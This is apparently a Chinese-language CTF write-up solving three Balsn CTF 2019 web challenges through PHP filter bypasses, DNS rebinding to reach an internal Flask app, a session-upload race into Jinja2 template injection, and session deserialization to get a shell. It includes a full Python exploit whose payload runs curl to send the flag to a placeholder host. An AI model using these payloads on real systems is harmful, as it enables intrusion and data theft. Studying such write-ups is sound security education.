遇到3道有點意思的web,記錄一下~
web1
題目地址:http://warmup.balsnctf.com/
源碼如下所示:
<?php if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt=="))) && highlight_file(__FILE__) && (include("config.php")) && ($op = @$_GET['op']) && (@strlen($op) < 3 && @($op + 8) < 'A_A')) { $_ = @$_GET['Σ>―(#°ω°#)♡→']; if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_) || @strlen(count_chars(strtolower($_), 3)) > 13 || @strlen($_) > 19) { exit($secret); } else { $ch = curl_init(); @curl_setopt( $ch, CURLOPT_URL, str_repLace( "int", ":DD", str_repLace( "%69%6e%74", //int "XDDD", str_repLace( "%2e%2e", //.. "Q___Q", str_repLace( "..", "QAQ", str_repLace( "%33%33%61", //33a ">__<", str_repLace( "%63%3a", //c: "WTF", str_repLace( "633a", ":)", str_repLace( "433a", ":(", str_repLace( "\x63:", "ggininder", strtolower(eval("return $_;")) ) ) ) ) ) ) ) ) ) ); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 1); @curl_EXEC($ch); } } else if (@strlen($op) < 4 && @($op + 78) < 'A__A') { $_ = @$_GET['']; # \u2063 //http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79 if ((strtolower(substr($_, -4)) === '.php') || (strtolower(substr($_, -4)) === 'php.') || (stripos($_, "\"") !== FALSE) || (stripos($_, "\x3e") !== FALSE) || (stripos($_, "\x3c") !== FALSE) || (stripos(strtolower($_), "amp") !== FALSE)) die($secret); else { if (stripos($_, "..") !== false) { die($secret); } else { if (stripos($_, "\x24") !== false) { die($secret); } else { print_r(substr(@file_get_contents($_), 0, 155)); } } } } else { die($secret) && system($_GET[0x9487945]); }
首先關注代碼中的敏感函數,存在curl,eval和file_get_contents,這里preg_match過濾了php數組的[方括號和{花括號,那么基本無法直接構造shell
根據第一部分的過濾,基本可以確定無法通過bypass來命令執行,當然也是如果可以命令執行,那肯定是非預期,要不這一大串curl就是無用的了
但我們可以執行phpinfo(),通過取反字符串phpinfo,payload為
%CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92=(~%8F%97%8F%96%91%99%90)()&op=-9
當然這種payload只適用於php7.x
此時就能回顯phpinfo,通過擴展模塊可以得到此時加載了mysql擴展,並且此時可以通過file_get_contents來讀文件,因為存在config.php,所以我們可以直接讀取config.php,因為有
print_r(substr(@file_get_contents($_), 0, 155));
這里限制了文件讀取的長度,因此用php的壓縮流對其進行壓縮
通過php的壓縮流過濾器就可以大大的縮減我們要讀取的文件的長度,之后再進行解壓縮即可還原
此時直接讀取的config.php是經過壓縮流的,因此這里直接將</code>標簽后的解壓縮即可,因為直接解壓縮里面有非壓縮的數據,導致直接寫入為0
<?php $a = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20"); var_dump(strlen($a)); var_dump($a); file_put_contents("/tmp/233",$a); echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233"); #$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20"); #$idx = stripos($content, "</code>") + 7; #file_put_contents("/tmp/233", substr($content, $idx)); file_put_contents("/tmp/1234",file_get_contents("php://filter/zlib.inflate/resource=/tmp/233"));
這里從國外也看到了另一種解法:
因為目標系統是windows系統,因此采用短文件名的方式來讀取config.php,即payload可以為:
#coding:utf-8 import urllib def n(s): r = "" for i in s: r += chr(~(ord(i)) & 0xFF) r = "~{}".format(r) return r print urllib.quote("({})({})".format(n("readfile"), n("c<<")))
這樣就可以讀到源碼了,也繞過了長度的限制,因為有限制:
@strlen($_) > 19)
所以在這里只能擴展到co<<加上readfile,即(readfile)("co<<")
接下來就是gopher+mysql,可以利用gopherus生成payload,但是payload太長,因此使用getenv來bypass長度限制:
由上圖可以得到getenv的利用方式,從而我們可以來打mysql了
web2:
這道題考察DNS rebinding、SSTI、命令執行
index.php
# index.php <?php ini_set('default_socket_timeout', 1); $waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data"); $dst = @$_GET['🇰🇷🐟']; if(!isset($dst)) exit("Forbidden"); $res = @parse_url($dst); $ip = @dns_get_record($res['host'], DNS_A)[0]['ip']; if($res['scheme'] !== 'http' && $res['scheme'] !== 'https') die("Error"); if(stripos($res['path'], "korea") === FALSE) die("Error"); for($i = 0; $i < count($waf); $i++) if(stripos($dst, $waf[$i]) !== FALSE) die("<svg/onload=\"alert('發大財!')\">".$waf[$i]); sleep(1); // u can only touch this useless ip :p $dev_ip = "54.87.54.87"; if($ip === $dev_ip) { $content = file_get_contents($dst); echo $content; }
這里是存在dns 重綁定攻擊的
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
只要讓dns解析的ip為54.87.54.87,file_get_contents解析的ip為127.0.0.1即可對內網資源進行訪問
對訪問 IP 的限制顯然可以通過 DNS rebinding 進行繞過,這里內網中有一個flask
@app.route('/error_page') def error(): error_status = request.args.get("err") err_temp_path = os.path.join('/var/www/flask/', 'error', error_status) with open(err_temp_path, "r") as f: content = f.read().strip() return render_template_string(sanitize(content))
所以通過第一步dns重綁定來繞過打內網5000端口的flask
https://lock.cmpxchg8b.com/rebinder.html通過這個網址來構造
貌似要多試幾次才能訪問到內網,另外這里限制了korea要出現在路徑中,然而我們要訪問/error_page,因此采用//korea/error_page來bypass
那么接下來就是ssti的利用,這里的/etc/passwd中的內容將傳入render_template_string進行ssti,因此如果我們可以控制,該文件,那么就能夠ssti,此時wp中是利用hitcon one_Line_php中的trick,只要帶着phpsessid和PHP_SESSION_UPLOAD_PROGRESS進行上傳即可在服務器生成以phpsessionid命名的session文件,該文件中即為我們的post的payload,雖然傳入的payload有upload_progress前綴,但是此時對於ssti來說不影響payload的執行,因此直接條件競爭post session,並且post的payload即為ssti的paylaod,就能夠進行rce了
exp如下:
import sys import string import requests from multiprocessing.dummy import Pool as ThreadPool HOST = 'http://koreanfish.balsnctf.com' sess_name = 'iamorange' headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name } payload = ''' {% for c in []['__class__']['__base__']['__subclasses__']() %} {% if c['__name__'] == 'catch_warnings' %} {% for b in c['__init__']['__globals__']['values']() %} {% if b['__class__']=={}['__class__'] %} {% if 'eval' in b['keys']() %} {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %} {% endif %} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} ''' def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() print(r.status_code) def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name while 1: url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename) r = requests.get(url, headers=headers) print(r.status_code) if sys.argv[1] == '1': runner = runner1 else: runner = runner2 pool = ThreadPool(32) result = pool.map_async( runner, range(32) ).get(0xffff)
分為兩個線程
1.訪問php文件競爭傳payload,生成session文件/var/lib/php/sessions/sess_iamorange
2.通過ssti打flask,進行rce
web3:
這道題主要考察session 處理機制不同,首先要下載源碼,直接根據源碼來分析:
所以此時如果我們下載文件默認目錄是/var/www/html/upload/session_id()/目錄,那么如果想要下載源碼通過download/index.php拼接以后/var/www/html/upload/session_id()/index.php是不存在此文件的,所以此時必須要穿越目錄
這里上傳目錄是用到了session_id(),我們知道session_id可以通過phpsessid來進行構造:
所以我們構造phpsessionid來穿越目錄:
那么結合題目中的邏輯我們就可以穿越目錄
indexcontroller.class.php
<?php class IndexController{ public $data; function __construct(){ $this->url=explode('/',$_SERVER['REQUEST_URI']); $this->data['method']=san(empty($this->url['1'])?'index':$this->url['1']); $this->data['param']=san(isset($this->url['2'])?$this->url['2']:''); $this->data['post']=san($_POST); $this->data['image']=$_FILES; #print_r($_SESSION); } public function index(){ $this->index=Core_DIR.DS.'html.php'; include($this->index); } public function post($param){ $this->Files=new Files($this->data['image']); $this->data['image']=$this->Files->file_dir; new Cache($this->data); } public function download($param){ new Download(Upload_DIR.DS.$this->data['param']); } function __destruct(){ unset($this->data); } }
所以此時只需要帶着phpsessinid為upload/../../訪問download/index.php即可下載文件,下載完index.php,由index.php又可以下載
然后根據func.php的auto_class可以確定控制器所在的目錄,進一步可以下載控制器文件
function autoload_class($class){ foreach(array('controller','model','view') as $dir){ $file = APP_DIR.DS.'app'.DS.$dir.DS.$class.'.class.php'; if(file_exists($file)){ include $file; return; } } }
通過index控制器又可以進一步確定另外兩個控制器:
下載完源碼以后感覺難度就下降了很多了,注意到config.php中session的處理機制為
並且我們知道如果session是惡意構造的,序列化的handler處理器又為php的話,以|豎線分割,那么可能導致對象注入,從而觸發反序列化漏洞。
cache.class.php
<?php class Cache{ public $data; public $sj; public $path; public $html; function __construct($data){ $this->data['name']=isset($data['post']['name'])?$data['post']['name']:''; $this->data['message']=isset($data['post']['message'])?$data['post']['message']:''; $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg'; $this->path=Cache_DIR.DS.session_id().'.php'; } function __destruct(){ $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下載</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg'); if(file_put_contents($this->path,$this->html)){ include($this->path); } } }
可以看到此時將會寫如php文件並且include包含文件,那么就說明我們可以反序列化該類,來拿到shell
然后構造本地上傳表單:
<form action="題目地址/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" /> <input type="submit"/> </form>
post我們的序列化的payload到有session_start()的php文件即可在session中寫入payload,並且此時繼續訪問index.php觸發反序列化並getshell,老套路了,所以這道題感覺學到的還是咋通過文件之間的關聯來下載到相關的所有源碼文件,2333~
參考:
https://mp.weixin.qq.com/s/ToORsrR_1fh1gnnO2cM_VQ
http://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html